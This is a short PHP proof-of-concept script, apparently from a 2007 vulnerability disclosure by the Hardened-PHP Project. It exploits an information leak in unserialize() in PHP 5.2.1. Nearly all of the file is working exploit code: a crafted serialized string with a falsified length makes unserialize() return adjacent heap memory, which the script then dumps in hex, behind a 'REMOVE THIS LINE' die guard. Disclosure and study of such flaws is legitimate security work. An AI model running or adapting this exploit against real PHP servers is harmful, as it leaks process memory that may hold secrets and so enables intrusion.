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MOPB-unserialize.txt

Posted on 24 March 2007

<?php
////////////////////////////////////////////////////////////////////////
//  _  _                _                     _       ___  _  _  ___  //
// | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
// | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
// |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
//                                                                    //
//         Proof of concept code from the Hardened-PHP Project        //
//                   (C) Copyright 2007 Stefan Esser                  //
//                                                                    //
////////////////////////////////////////////////////////////////////////
//       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");




$str = 'S:'.(100*3).':"'.str_repeat('61', 100).'"';
$arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

$heapdump = unserialize($str);




echo "Heapdump
---------

";

$len = strlen($heapdump);
for ($b=0; $b<$len; $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
printf ("%02x ", ord($heapdump[$b+$i]));
} else {
printf (".. ");
}
}
for ($i=0; $i<16; $i++) {
if ($b+$i<$len) {
$c = ord($heapdump[$b+$i]);
} else {
$c = 0;
}
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("
");
}
?>

 

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